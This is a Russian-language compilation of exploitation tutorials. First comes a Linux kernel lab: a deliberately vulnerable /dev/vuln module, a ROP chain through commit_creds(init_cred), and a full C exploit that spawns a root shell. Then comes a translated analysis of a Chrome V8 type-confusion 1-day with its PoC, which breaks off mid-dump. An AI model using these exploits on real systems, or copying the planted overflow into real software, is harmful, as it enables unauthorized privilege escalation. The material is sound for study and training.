В ядре Linux есть такое понятие, как [character device](https://linux-kernel- labs.github.io/refs/heads/master/labs/device_drivers.html). По‑простому, это некоторое устройство, с которым можно делать такие элементарные операции, как чтение из него и запись. Но иногда, как ни парадоксально, этого устройства в нашем компьютере нет. Например, существует некий девайс, имеющий путь /dev/zero, и, если мы будем читать из этого устройства, мы получим нули (нуль‑байты или \x00, если записывать в нотации C). Такие устройства называются виртуальными, и в ядре есть специальные обработчики на чтение и запись для них. Мы же напишем модуль ядра, который будет предоставлять нам запись в устройство. Назовем его /dev/vuln, а функция записи в это устройство, которая вызывается при системном вызове write, будет содержать уязвимость переполнения буфера.
Создадим в папке с исходным кодом ядра вложенную папку с именем vuln, где будет находиться модуль, и поместим там файл vuln.c вот с таким контентом:
C:Copy to clipboard
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/kdev_t.h>
#include <linux/device.h>
#include <linux/cdev.h>
MODULE_LICENSE("GPL"); // Лицензия
static dev_t first;
static struct cdev c_dev;
static struct class *cl;
static ssize_t vuln_read(struct file* file, char* buf, size_t count, loff_t *f_pos){
return -EPERM; // Нам не нужно чтение из устройства, поэтому говорим, что читать из него нельзя
}
static ssize_t vuln_write(struct file* file, const char* buf, size_t count, loff_t *f_pos){
char buffer[128];
int i;
memset(buffer, 0, 128);
for (i = 0; i < count; i++){
*(buffer + i) = buf[i];
}
printk(KERN_INFO "Got happy data from userspace - %s", buffer);
return count;
}
static int vuln_open(struct inode* inode, struct file* file) {
return 0;
}
static int vuln_close(struct inode* inode, struct file* file) {
return 0;
}
static struct file_operations fileops = {
owner: THIS_MODULE,
open: vuln_open,
read: vuln_read,
write: vuln_write,
release: vuln_close,
}; // Создаем структуру с файловыми операциями и обработчиками
int vuln_init(void){
alloc_chrdev_region(&first, 0, 1, "vuln"); // Регистрируем устройство /dev
cl = class_create( THIS_MODULE, "chardev"); // Создаем указатель на структуру класса
device_create(cl, NULL, first, NULL, "vuln"); // Создаем непосредственно устройство
cdev_init(&c_dev, &fileops); // Задаем хендлеры
cdev_add(&c_dev, first, 1); // И добавляем устройство в систему
printk(KERN_INFO "Vuln module started\n");
return 0;
}
void vuln_exit(void){ // Удаляем и разрегистрируем устройство
cdev_del( &c_dev );
device_destroy( cl, first );
class_destroy( cl );
unregister_chrdev_region( first, 1 );
printk(KERN_INFO "Vuln module stopped??\n");
}
module_init(vuln_init); // Точка входа модуля, вызовется при insmod
module_exit(vuln_exit); // Точка выхода модуля, вызовется при rmmod
Этот модуль создаст в /dev устройство vuln, которое будет позволять писать в него данные. Путь у него простой: /dev/vuln. Любопытный читатель может поинтересоваться, что за функции остались без комментариев? Их значение можно поискать вот в этом репозитории. В нем, скорее всего, отыщутся все функции, на которые есть документация в ядре Linux в виде страниц man.
Обрати внимание на функцию vuln_write. На стеке выделяется 128 байт для сообщения, которое будет написано в наше устройство, а потом выведется в kmsg, устройство для логов ядра. Однако и сообщение, и его размер контролируются пользователем, что позволяет ему записать намного больше, чем положено изначально. Здесь очевидно переполнение буфера на стеке, с последующим контролем регистра RIP (Relative Instruction Pointer), что позволяет нам сделать ROP Chain. Мы поговорим об этом в разделе, посвященном эксплуатации уязвимости.
Сборка модуля достаточно тривиальная задача. Для этого в папке с исходным кодом модуля надо создать Makefile вот с таким контентом:
Makefile:Copy to clipboard
obj-m := vuln.o # Добавить в список собираемых модулей
all:
make -C ../ M=./vuln # Вызвать главный Makefile с аргументом M=$(module folder), чтобы он собрался
Компиляция модуля
После этого в папке появится файл vuln.ko. Расширение ko означает Kernel Object, он несколько отличается от обычных объектов .o. Получается, мы уже собрали ядро и модуль для него. Для запуска в QEMU осталось проделать еще несколько операций.
Вопреки распространенному мнению, Linux не является операционной системой, если рассматривать его как отдельную программу. Это лишь ядро, которое в совокупности с утилитами и программами GNU дает полноценную рабочую РС. Она, кстати, так и называется — GNU/Linux. То есть если ты запустишь Linux просто так, то он выдаст Kernel panic, сообщив об отсутствии файловой системы, которую можно принять за корневую. Даже если таковая есть, ядро первым делом попытается запустить init, бинарник, который является главным процессом‑демоном в системе, запускающим все службы и остальные процессы. Если этого файла нет или он работает неправильно, ядро выдаст панику. Поэтому нам нужен раздел с userspace-программами. Далее я буду использовать pacstrap, скрипт для установки Arch Linux. Если у тебя Debian-подобная система, ты можешь использовать debootstrap.
Существует много разных вариантов собрать полностью рабочую систему: как минимум, есть LFS (Linux From Scratch), но это уже слишком сложно. Также есть вариант с созданием initramfs (файл с минимальной файловой системой, необходимый для выполнения некоторых задач до загрузки основной системы). Но минус этого способа в том, что такой диск не очень просто сделать, а редактировать еще сложнее: его придется пересобирать. Поэтому мы выберем другой вариант — создание полноценной файловой системы ext4 в файле. Давай разберемся, как мы будем это делать.
Для начала надо отвести место под саму файловую систему. Для этого выполним команду dd if=/dev/zero of=./rootfs.img bs=1G count=2. Данная команда заполнит rootfs.img нулями, и установим его размер в 2 Гбайт. После этого надо создать раздел ext4 в этом файле. Для этого запускаем mkfs.ext4 ./rootfs.img. Нам не требуются права суперпользователя, потому что файловая система создается в нашем файле. Теперь остается последнее, что мы сделаем перед установкой системы: sudo mount ./rootfs.img /mnt. Теперь права суперпользователя нам понадобятся для того, чтобы смонтировать эту файловую систему и делать манипуляции уже в ней.
Звучит страшно. На самом деле, если речь идет о Manjaro или другой Arch Linux подобной системе, все крайне просто. В репозиториях имеется пакет под названием arch-install-scripts, где находится pacstrap. После установки данного пакета выполняем команду sudo pacstrap /mnt base и ждем, пока скачаются все основные пакеты.
Подготовка файловой системы и установка туда дистрибутива
Потом надо будет скопировать vuln.ko командой
Code:Copy to clipboard
cp <kernel sources>/vuln/vuln.ko /mnt/vuln.ko
Модуль в системе, все хорошо.
Теперь нам нужно настроить пароль суперпользователя, чтобы войти в систему. Воспользуемся arch-chroot, который автоматически подготовит все окружение в созданной системе. Для этого запускаем команду sudo arch-chroot /mnt, а затем — passwd. Таким образом мы сможем войти в систему, когда загрузимся.
Также нам очень понадобятся пара пакетов — GCC и любой текстовый редактор, например Vim. Они нужны для написания и компиляции эксплоита. Эти пакеты можно получить с помощью команд apt install vim gcc на Debian-системе или pacman -S vim gcc для Arch-подобной ОС. Также желательно создать обычного пользователя, от имени которого мы будем проверять эксплоит. Для этого выполним команды useradd -m user и passwd user, чтобы у него была домашняя папка.
Конфигурация внутри файловой системы
Выйдем из chroot с помощью Ctrl + d и на всякий случай напишем sync.
На самом деле по‑хорошему надо отмонтировать rootfs.img командой sudo umount /mnt. Лично я после записи в /mnt всегда дополнительно делаю sync, чтобы записанные данные не потерялись в кеше. Теперь мы полностью готовы к запуску ядра с нашим модулем.
После сборки само ядро будет лежать в сжатом виде в
При условии, что мы находимся в папке
Code:Copy to clipboard
qemu-system-x86_64 \
-kernel ./arch/x86/boot/bzImage \
-append “console=ttyS0,115200 root=/dev/sda rw nokaslr” \
-hda ./rootfs.img \
-nographic
В kernel мы указали путь к ядру, append является командной строкой ядра, console=ttyS0,115200 говорит о том, что вывод будет даваться в устройство ttyS0 со скоростью передачи данных 115 200 бит/с. Это просто serial-порт, откуда берет данные QEMU. Аргумент root=/dev/sda делает корневой файловой системой диск, который мы потом включили с помощью ключа hda, а rw делает эту файловую систему доступной для чтения и записи (по умолчанию только для чтения). Параметр nokaslr нужен, чтобы не рандомизировались адреса функций ядра в виртуальной памяти. Этот параметр упростит эксплуатацию. Наконец, -nographic выполняет запуск без отдельного окошка прямо в консоли.
После запуска мы можем залогиниться и попасть в консоль. Однако, если зайти в /dev, мы не найдем нашего устройства. Чтобы оно появилось, надо выполнить команду insmod /vuln.ko. Сообщения о загрузке добавятся в kmsg, а в /dev появится устройство vuln. Однако есть небольшая проблема: /dev/vuln имеет права 600. Для нашей эксплуатации необходимы права 666 или хотя бы 622, чтобы любой пользователь мог писать в этот файл. Мы можем вручную включать модуль в ядре, как и менять права устройству, но, согласись, выглядит это так себе. Просто представим, что это какой‑то важный модуль, который должен запускаться вместе с системой. Поэтому нам надо автоматизировать этот процесс.
Автоматизировать процессы при загрузке можно разными способами: можно записать скрипт в /etc/profile, можно поместить его в ~/.bashrc, можно даже переписать init таким образом, чтобы сначала запускался наш скрипт, а потом вся остальная система. Однако легче всего написать модуль для systemd, программы, которая является непосредственно init и может автоматизировать разные вещи цивилизованным образом. Дальнейшие действия мы будем выполнять в системе, запущенной в QEMU. Она сохранит все изменения.
По факту нам надо сделать две вещи: вставить модуль в ядро и поменять права /dev/vuln на 666. Сервис запускается как скрипт — один раз во время загрузки системы. Поэтому тип сервиса будет oneshot. Давай посмотрим, что у нас получится.
Code:Copy to clipboard
[Unit]
Name=Vulnerable module # Название модуля
[Service]
Type=oneshot # Тип модуля. Запустится один раз
ExecStart=insmod /vuln.ko ; chmod 666 /dev/vuln # Команда для загрузки модуля и изменения разрешений
[Install]
WantedBy=multi-user.target # Когда модуль будет подгружен. Multi-user достаточно стандартная вещь для таких модулей
Этот код должен будет лежать в /usr/lib/systemd/system/vuln.service.
Так как скрипт должен запускаться во время загрузки системы, надо выполнить команду systemctl enable vuln от имени суперпользователя.
Включение модуля Systemd
После перезагрузки файл vuln в /dev/ получит права rw-rw-rw-. Прекрасно. Теперь переходим к самому сладкому. Чтобы выйти из QEMU, нажми Ctrl + A, C и D.
Дебажить ядро мы будем для того, чтобы посмотреть, как оно работает во время наших вызовов. Это позволит нам понять, как эксплуатировать уязвимость. Опытные читатели, скорее всего, знают о One gadget в libc, стандартной библиотеке C в Linux, позволяющей почти сразу запустить /bin/sh из уязвимой программы в userspace. В ядре же кнопки «сделать классно» нет, но есть другая, посложнее.
Настоятельно рекомендую тебе использовать GEF для упрощения работы. Это модуль для GDB, который умеет показывать состояния регистров, стека и кода во время работы. Его можно взять здесь.
Первым делом надо разрешить загрузку сторонних скриптов, а именно vmlinux- gdb.py, который сейчас находится в корневой папке исходников. Как, собственно, и vmlinux, файл с символами ядра. Он поможет впоследствии узнать базовый адрес модуля ядра. Это можно сделать, добавив строку set auto-load safe-path / в ~/.gdbinit. Теперь, чтобы загрузить символы и вообще код, выполни команду gdb vmlinux. После этого надо запустить само ядро.
Раньше мы уже обсуждали, как можно запустить ядро. Единственное, чего мы не учли, — это то, что его нельзя дебажить. Чтобы разрешить отладку, надо, чтобы QEMU сделал для нас сервер GDB. Для этого к команде нужно прибавить -gdb tcp::1234, где tcp — протокол подключения, а 1234 — это порт. Запускаем ядро модифицированной командой, в другом окошке запускаем GDB. Чтобы подключиться к ядру, надо отдать команду target remote localhost:1234. Работа ядра остановится, и оно будет ждать наших действий.
Так выглядит дебаггинг ядра с GEF
Можно заметить, что QEMU сейчас замер в конкретном состоянии, потому что остановлено ядро. Восстановить работу можно в GDB командой continue. Для приостановки же нужно нажать Ctrl + C.
Вся эксплуатация ядра сводится к тому, чтобы поднять себе привилегии, чаще всего до рута. Один из вариантов, как это сделать, заключается в следующем: нам надо вызвать функцию commit_creds с аргументом init_cred. Commit_creds установит права процесса на привилегии, описанные в init_cred. В свою очередь, init_cred имеет права самого главного процесса под номером 1, то есть init, максимально возможные права в userspace. В коде ядра это выглядит примерно так:
C:Copy to clipboard
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
}
Более подробное описание этой функции читатель может посмотреть в репозитории, упомянутом раньше. То есть нам нужно каким‑то образом выполнить commit_creds(init_cred) во время записи в уязвимое устройство. Давай разберемся, как это сделать.
Подкованный читатель может пропустить эту и следующие две части. Представим, что у нас есть обычный сишный код, например sum(3, 2);. В исходном виде это выглядит крайне просто, но процессор не работает с исходным кодом, он работает на инструкциях, сгенерированных компилятором. Для процессора данная строка будет выглядеть примерно так:
Code:Copy to clipboard
mov rdi, 3 ; В регистр RDI положить первый аргумент
mov rsi, 2 ; В регистр RSI положить второй аргумент
call sum ; Вызвать функцию sum
Как можно понять из кода, первый аргумент лежит в регистре RDI, а второй в RSI. При этом вывод функции в нашем случае, скорее всего, 5, будет лежать в регистре RAX. В архитектуре x86_64 есть 16 основных очень быстрых регистров, при этом каждый из них хранит 64 бита информации: RAX, RBX, RCX, RDX, RDI, RSI, RSP, RBP и R8-R15. То есть, чтобы вызвать функцию commit_creds(init_cred), нам надо будет положить в регистр RDI адрес init_cred, а потом вызвать commit_creds. Еще одним важным регистром будет RSP (Relative Stack Pointer), о нем можно прочитать в Википедии. Этот регистр хранит в себе указатель на стек, откуда берутся адреса, например для инструкции ret или pop.
Ret — инструкция, которая берет последнее 64-битное значение из стека и прыгает туда. Зачем она нам нужна? Дело в том, что единственное, что, по сути, мы можем контролировать, — стек. Практически любая функция в ассемблере заканчивается инструкцией ret, которая передает управление вызывающей функции. Получается, если мы можем перезаписывать так называемый ret-адрес (адрес, который берет ret из стека), то мы можем контролировать процесс выполнения кода, что нам будет очень кстати. Осталось только одно: записать init_cred в RDI.
В любой скомпилированной программе есть маленькие участки кода, которые могут нам помочь построить ROP-цепочку. ROP, Return Oriented Programming, — техника бинарной эксплуатации, позволяющая путем контроля стека писать внутри программы свою программу, которая делает то, что нужно атакующему. Такие маленькие участки кода называются гаджетами.
Нам же надо найти такой гаджет, который берет значение из контролируемого нами стека, кладет его в регистр RDI и смещает указатель на стек. Инструкция, идеально подходящая в данном случае, — pop. Она возьмет значение из стека в регистр и сместит стек. После этого нам нужен ret, который прыгнет по адресу commit_creds, тем самым почти сделав call. Используя программу ROPGadget, мы можем найти такой гаджет. Для этого запускаем ROPGadget vmlinux | grep "pop rdi ; ret" и смотрим на адрес этого участка кода.
Вывод ROPGadget с pop rdi ; ret
Сохраним его, он нам потом понадобится.
Это важный момент, поскольку мы собирали ядро с выключенной опцией Stack Protector buffer overflow detection. Хотя мы используем это ядро как пример, включение этой опции, скорее всего, сделает модуль неуязвимым. Вернее, повысить привилегии не получится, но можно будет запросто крашнуть ядро.
Эта функция добавляет «стековую канарейку», случайное число, которое вносится на стек в начале функции и проверяется в конце. Таким образом, если мы его перепишем, ядро поймет, что его пытаются взломать, и откажется работать.
С другой стороны, ты мог заметить слово nokaslr в параметре append команды запуска QEMU. Ядро, как и программа в userspace, заинтересовано в том, чтобы его не поломали. В userspace существует ASLR (Address Space Layout Randomization).
Допустим, у нас есть программа, которая имеет по адресу 0x50000 нужную нам функцию. Но она не выполняется непосредственно в коде, и есть другая функция, имеющая уязвимость переполнения буфера. Если отсутствует ASLR, то хакер может прыгнуть на эту функцию и взломать программу, но если появляется ASLR, то адрес этой функции меняется случайно. Таким образом, хакеру сначала надо узнать базовый адрес программы и посчитать настоящий адрес функции. Это было придумано, чтобы сильно усложнить эксплуатацию уязвимостей. В ядре же был создан kaslr, который рандомизирует базовый адрес ядра. Таким образом, адрес, который был получен в прошлом пункте, с kaslr был бы неправильным. Поэтому для упрощения эксплуатации мы выключаем kaslr с помощью параметра nokaslr.
Вкратце нам нужно выполнить пять действий:
Как решить задачи 2, 3 и 4, мы уже поняли, соответственно, остаются только пункты 1 и 5.
Взглянем на код модуля, а именно на vuln_write еще разок:
C:Copy to clipboard
static ssize_t vuln_write(struct file* file, const char* buf, size_t count, loff_t *f_pos){
char buffer[128];
int i;
memset(buffer, 0, 128);
for (i = 0; i < count; i++){
*(buffer + i) = buf[i];
}
printk(KERN_INFO "Got happy data from userspace - %s", buffer);
return count;
}
Поскольку мы не знаем, как компилятор будет хранить int i: будет оно на стеке или регистром, стоит посмотреть вывод дизассемблера для этой функции.
Чтобы это сделать, нужно подгрузить код модуля в GDB. Для этого сначала запустим lx-lsmod, который предоставляется vmlinux-gdb.py, и найдем адрес модуля vuln. Зная базовый адрес модуля, мы можем подгрузить vuln.ko. Для этого выполним команду add-symbol-file ./vuln/vuln.ko
, где address — шестнадцатеричное число, взятое из lx-lsmod. Функция называется vuln_write, поэтому смело пишем disassemble vuln_write.
Дизасм функции vuln_write
Нам не нужны все эти страшные инструкции: выберем только те, которые работают со стеком. Первым делом идет push r12, который в конце будет возвращен с помощью pop r12. Это значит, что уже занято 8 байт. Далее идет инструкция add rsp,0xffffffffffffff80, которая на самом деле не добавляет, а вычитает из rsp~ 0x80. Заметим, что 0x80 — это 128 в десятичной системе. Ага, то есть функция аллоцирует под себя 128 байт для буфера и еще 8 байт для сохранения r12, итого 128 + 8 = 136 байт.
Кстати, если посмотреть далее, то будет видно, что переменной i является регистр edx — младшие 32 бита регистра rdx. Сразу же после 136 байт будет лежать адрес возврата из vuln_write. То есть для того, чтобы переполнить стек, нам надо сначала заполнить 136 байт мусором, а потом будет наш ROP Chain. В качестве мусора исторически использовались буквы А, так что первыми в нашем эксплоите будут 136 символов A. Зная, как переполнить стек, мы можем перейти к последнему пункту нашей развлекательной программы.
Здесь возникает небольшая проблема: мы будем перезаписывать ровно четыре 64-битных значения на стеке после r12, который нам, по сути, не нужен и не важен; тем более стек будет смещен на эти 32 байта. Поэтому возвращаться туда, куда должен изначально возвращаться vuln_write, было бы крайне опрометчиво, потому что ядро может попасть на неправильный адрес и словить ошибку. Чтобы понять, куда прыгать, надо немного подебажить и посмотреть, куда вообще будет возвращаться vuln_write.
Поставим брейк‑пойнт (точку останова) на vuln_write. Для этого воспользуемся командой GDB hbreak vuln_write. Затем наберем continue и возобновим работу ядра. В QEMU введем echo asdf > /dev/vuln. Это инициирует запись asdf в /dev/vuln. Заметим, что работа ядра приостановилась, переходим обратно в GDB. С помощью команды ni мы должны дойти до инструкции ret. Выходим из функции так же с помощью ni и продолжаем идти, пока не дойдем до инструкций pop. Здесь мы понимаем, что их всего шесть перед ret.
Инструкции pop перед ret
Как было упомянуто, происходит смещение стека на 32 байта, но 8 байт из них — обычный ret в конце vuln_write. Это означает, что стек поломан на 24 байта. Для того чтобы его выровнять, нам надо пропустить три инструкции pop. Хотя у нас и есть какой‑то код перед этими инструкциями, нам придется им пренебречь, потому что выбора у нас особо нет. Запоминаем адрес 4-й инструкции pop: тут это pop r13. Именно на него мы и будем прыгать после vuln_write. Наконец‑то мы готовы к написанию эксплоита.
Перед тем как перейти к дальнейшим действиям, убедись, что в rootfs.img установлен GCC и текстовый редактор, например Vim. Это необходимо сделать вне QEMU, потому что в QEMU нет интернета и нельзя установить эти пакеты.
Нам нужно достать пару адресов, а именно адрес init_cred и commit_creds. Для этого в GDB выполним команды print &init_cred и print commit_creds и получим их адреса.
Писать мы будем на С, что достаточно очевидно для эксплуатации ядра. Для начала нам надо открыть /dev/vuln только для записи. Туда мы и будем писать буфер с полезной нагрузкой. Полезная нагрузка состоит из 136 символов A или любых других, после чего идут по порядку адреса pop rdi ; ret, init_cred, commit_creds и адрес возврата pop r12.
Важно заметить, что адреса будут записаны в обратном порядке: например, если у init_cred адрес 0xffffffff8244d2a0, то он будет записан как \xa0\xd2\x44\x82\xff\xff\xff\xff. Это происходит потому, что x86_64 является архитектурой little-endian. После подготовки полезной нагрузки мы должны записать ее в /dev/vuln. В результате у процесса‑эксплоита должны быть права суперпользователя. Поэтому, чтобы мы получили шелл от имени рута, выполним команду execve("/bin/bash", 0, 0);. Код должен получиться примерно таким:
C:Copy to clipboard
#include <stdio.h>
#include <fcntl.h>
int main(){
unsigned char* kekw = malloc(168);
memcpy(kekw, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x00\x81\xff\xff\xff\xff\xa0\xd2\x44\x82\xff\xff\xff\xff\x40\x45\x08\x81\xff\xff\xff\xff\x23\x22\x1d\x81\xff\xff\xff\xff", 168);
int fd = open("/dev/vuln", O_WRONLY);
write(fd, kekw, 168);
execve("/bin/bash", NULL, NULL);
}
Убеждаемся, что сидим от непривилегированного пользователя. Залогинившись под пользователем user, компилируем эксплоит с помощью GCC, запускаем и… Видим, что запустился bash от имени суперпользователя. При этом рут не владеет бинарником и на нем не стоит setuid-бит, что доказывает: взлом происходит именно в ядре.
Как работает эксплоит
Соберем воедино то, что мы научились делать:
Конечно, это очень маленький шаг в эксплуатации реального ядра. Как я упоминал, если бы у ядра был KASLR или Stack protector, эксплуатация была бы невозможна либо происходила сложнее. Но это опыт, который в любом случае понадобится хакеру, интересующемуся этой темой.
Источник: https://xakep.ru/2021/06/10/linux-kernel-exploitation/
Patch-gapping в Google Chrome
9 сентября 2019.
Patch-gapping (можно перевести как разрыв между патчем и предыдущей версией или разница патча) это техника обнаружения и эксплуатации исправленных уязвимостей в проектах с открытым исходным кодом. Дело в том, что исправление выходит раньше, чем конечные пользователи получают обновление в виде свежего релиза. Временной интервал между исправлением и его получением потребителями может варьироваться от нескольких дней до нескольких месяцев.
Все чаще это рассматривается, как серьезная угроза с возможностью использования в так называемой дикой природе (in-the-wild). Подобные случаи засекает Google (<https://googleprojectzero.blogspot.com/2019/08/jsc- exploits.html>).
Background
Команда exodus, в середине августа, нашла в списке изменений CL 1751971, ссылка на который не работает, интересный баг, связанный с sealed(запечатанный) и frozen(замороженный) объектами. В том числе обратный тест (regression) или тест на предыдущие баги, который приводил к ошибке сегментации. Потом эти изменения забросили, в последствие и вовсе удалили. Работу продолжили с CL 1760976 (<https://chromium- review.googlesource.com/c/v8/v8/+/1760976>), который повлек еще больше изменений.
Поскольку исправление было слишком сложным, временным решением было отключить эту функциональность в ветке 7.7 (https://chromium.googlesource.com/v8/v8.git/+log/7.7-lkgr). Выпуск релиза с этим отключением был намечен на 10-е сентября 2019. То же изменение было сделано в ветке 7.6 (https://chromium.googlesource.com/v8/v8.git/+log/7.6-lkgr). Но оно было сделано уже после выпуска обновления stable channel 26-го августа 2019 (<https://chromereleases.googleblog.com/2019/08/stable-channel-update-for- desktop_26.html>). Соответственно не попало в релиз. Поэтому последний стабильный релиз Chrome оставался подверженным багу.
Эти обстоятельства сделали баг (суть – уязвимость, ибо вызывает segmentation fault) идеальным кандидатом на разработку 1day эксплойта.
Сообщение коммита описательное, проблема есть результат воздействия Object.preventExtensions и Object.seal/freeze на карты (maps) и элемент хранилища объектов и того, как некорректные переходы по карте отслеживаются v8 при некоторых условиях. Так как отслеживание карт в v8 является сложной темой, обсудим только те детали, которые необходимы для понимания уязвимости. Информацию по соответствующим темам можно найти по следующим ссылкам:
https://docs.google.com/document/d/1X6zO5F_Zojizn2dmo_ftaOWsY8NltPHUhudBbUzMxnc/preview
https://v8.dev/blog/fast-properties
https://v8.dev/blog/react-cliff
Расположение объектов в v8
JS движки реализуют несколько оптимизаций хранилища свойств объектов. Распространенная техника – использовать раздельные хранилища для целочисленных ключей (часто называются элементами) и для строковых\символьных ключей (обычно называются слоты или именованные свойства). Это позволяет им использовать непрерывные массивы для свойств с целочисленными ключами, где индекс напрямую соотносится (maps) с хранилищем, что ускоряет доступ. Строковые значения так же хранятся в массиве, но для получения индекса соответствующего ключа, нужны обходные пути. Эта информация хранится в карте (map) или спрятанном классе – HiddenCLass объекта.
Хранение форм объекта в спрятанном классе — это еще одна попытка сократить размер используемой памяти. Классы HiddenClass похожи на классы в объектно- ориентированных языках программирования. Тем не менее, из-за того, что невозможно знать наперед конфигурацию объектов в языках, основанных на прототипах, таких как JavaScript, они создаются по требованию. JS движки создают один спрятанный класс для заданной формы, которую делят объекты, имеющие одинаковую структуру. Добавление именованного свойства в объект влечет за собой создание нового спрятанного класса, который содержит информацию про все предыдущие свойства и для нового, затем обновляется карта объекта, как показано ниже (источник - https://v8.dev/blog/fast-properties).
Эти переходы сохраняются в цепочке спрятанных классов, к которой обращаются при создании нового объекта с такими же свойствами или добавляются свойства в таком же порядке. Если там есть такой же переход, он используется повторно, иначе – создается новый спрятанный класс и добавляется в дерево переходов.
Сами по себе свойства могут храниться в трех местах. Самое быстрое это хранилище внутри объекта, которому требуется только найти ключ в спрятанном классе, чтобы найти индекс в хранилище. Это ограничивается определенным числом свойств, остальные хранятся в так называемом быстром хранилище, которое представляет собой отдельный массив (FixedArray), на который указывает поле объекта свойства, как показано ниже.
Если у объекта добавляется и удаляется много свойств, то становится накладно работать со спрятанными классами. V8 использует эвристику для выявления таких случаев и переводит объект в разряд медленного, использующего в качестве хранилища словарь (Properties Dict), как показано на следующей диаграмме.
Еще одна распространенная оптимизация — это хранение элементов с целочисленными ключами в плотном или запакованном формате, если они умещаются в конкретное представление, например маленькие целые или с плавающей точкой (int, float). Это позволяет избежать обычной упаковки значений в движках – хранение чисел, как указателей на объекты чисел, тем самым сохраняя память и ускоряя операции над массивами. V8 имеет несколько таких видов элементов, например PACKED_SMI_ELEMENTS, который обозначает непрерывный массив элементов с маленькими целыми числами. Этот вид хранилища отслеживается в карте объекта и должен все время обновляться (вид\тип хранилища), чтобы избежать путаницы (confusion). Виды элементов организованы в виде решетки, переходы разрешаются только более общим типам данных. Это значит, что, например, добавление числа с плавающей точкой в объект с PACKED_SMI_ELEMENTS, конвертирует каждое значение в double, установит новое добавленное значение и поменяет тип элементов на PACKED_DOUBLE_ELEMENTS.
preventExtensions, seal and freeze
JS имеет несколько способов избежать вышеописанной ситуации.
Анализ PoC
Уязвимость существует потому, что v8 отслеживает переходы карты в определенных случаях без обновления хранилища элемента соответственно, что может привести к широкомасштабным последствиям.
JavaScript:Copy to clipboard
1. // Based on test/mjsunit/regress/regress-crbug-992914.js
2.
3. function mainSeal() {
4. const a = {foo: 1.1}; // a has map M1
5. Object.seal(a); // a transitions from M1 to M2 Map(HOLEY_SEALED_ELEMENTS)
6.
7. const b = {foo: 2.2}; // b has map M1
8. Object.preventExtensions(b); // b transitions from M1 to M3 Map(DICTIONARY_ELEMENTS)
9. Object.seal(b); // b transitions from M3 to M4
10. const c = {foo: Object} // c has map M5, which has a tagged `foo` property, causing the maps of `a` and `b` to be deprecated
11. b.__proto__ = 0; // property assignment forces migration of b from deprecated M4 to M6
12.
13. a[5] = 1; // forces migration of a from the deprecated M2 map, v8 incorrectly uses M6 as new map without converting the backing store. M6 has DICTIONARY_ELEMENTS while the backing store remained unconverted.
14. }
15.
16. mainSeal();
В коде, два объекта, a и b создаются с идентичной структурой. Затем объект a запечатывается (sealed), у объекта b вызываются методы preventExtensions() и seal(). Это вынуждает объект a переключиться на карту с типом элементов HOLEY_SEALED_ELEMENTS, b переводится в медленное хранилище, получая карту с типом элементов DICTIONARY_ELEMENTS.
Уязвимость тригеррится на строках 10-13. Строка 10 создает объект c, который имеет свойство foo, у объекта c структура несовместима с предыдущими структурами объектов. Поэтому для объекта c создается новая карта со свойством foo, карты для объектов a и b помечаются, как устаревшие. Это означает, что эти объекты мигрируют на новые карты при добавлении им свойств. Строка 11 тригеррит переход для объекта b, строка 13 – для объекта a. Проблема в том, что v8 ошибочно предполагает, что объект a может мигрировать в ту же карту что и b, но не конвертирует резервное хранилище. Это вызывает путаницу в типах (type confusion) FixedArray и NumberDictionary.
_(Прим. Пер.)
Карта M1 это FixedArray._
В строке 13 к объекту a применяется карта M6, это тип элементов DICTIONARY_ELEMENTS. В объекте a будет словарь NumberDictionary(Properties Dict).
_Происходит это из-за того, что v8 теряет в цепочке переходов нужные карты и делает миграцию объекта к карте объекта b, который имеет такую же конфигурацию, как и объект a.
Но то, что было в объекте a, до добавления нового свойства не конвертируется. А новое свойство имеет тип элементов DICTIONARY_ELEMENTS. Получается объект a состоит из смеси типов. Но v8 будет думать, что он состоит из NumberDictionary. А интерпретация FixedArray как NumberDictionary ведет к ошибкам._
Эксплуатация
Уязвимость можно превратить в примитив чтения\записи в произвольную память используя путаницу типов, как описано выше. С её помощью можно повредить длину массива, потом использовать этот массив для дальнейшего повреждения других TypedArray. Дальше это можно раскрутить до выполнения произвольного кода в процессе рендерера.
Расположение (структура) в памяти классов FixedArray и NumberDictionary.
FixedArray это класс C++, используется, как хранилище свойств в нескольких JS объектах. Имеет простое расположение в памяти, как показано ниже, с атрибутом указатель на карту, атрибут длина (хранится как v8 маленькое целое (31-битное целое, сдвинутое влево на 32)), затем идут сами элементы.
JavaScript:Copy to clipboard
pwndbg> job 0x065cbb40bdf1
0x65cbb40bdf1: [FixedDoubleArray]
map: 0x1d3f95f414a9
length: 16
0: 0.1
1: 1
2: 2
3: 3
4: 4
…
pwndbg> tel 0x065cbb40bdf0 25
00:0000 0x65cbb40bdf0 -> 0x1d3f95f414a9 <- 0x1d3f95f401
01:0008 0x65cbb40bdf8 <- 0x1000000000
02:0010 0x65cbb40be00 <- 0x3fb999999999999a
03:0018 0x65cbb40be08 <- 0x3ff0000000000000
04:0020 0x65cbb40be10 <- 0x4000000000000000
…
Класс NumberDictionary реализует хэш-таблицу с целочисленным ключом поверх класса FixedArray. Расположение в памяти показано ниже. Он содержит четыре дополнительных атрибута помимо карты и длины.
Уязвимость позволяет присвоить этим четырем атрибутам произвольные значения пока это FixedArray (до type confusion), затем вызвать путаницу типов и интерпретировать эти значения как поля NumberDictionary.
JavaScript:Copy to clipboard
pwndbg> job 0x2d7782c4bec9
0x2d7782c4bec9: [NumberDictionary]
- map: 0x0c48e8bc16d9 <Map>
- length: 28
- elements: 4
- deleted: 0
- capacity: 8
- elements: {
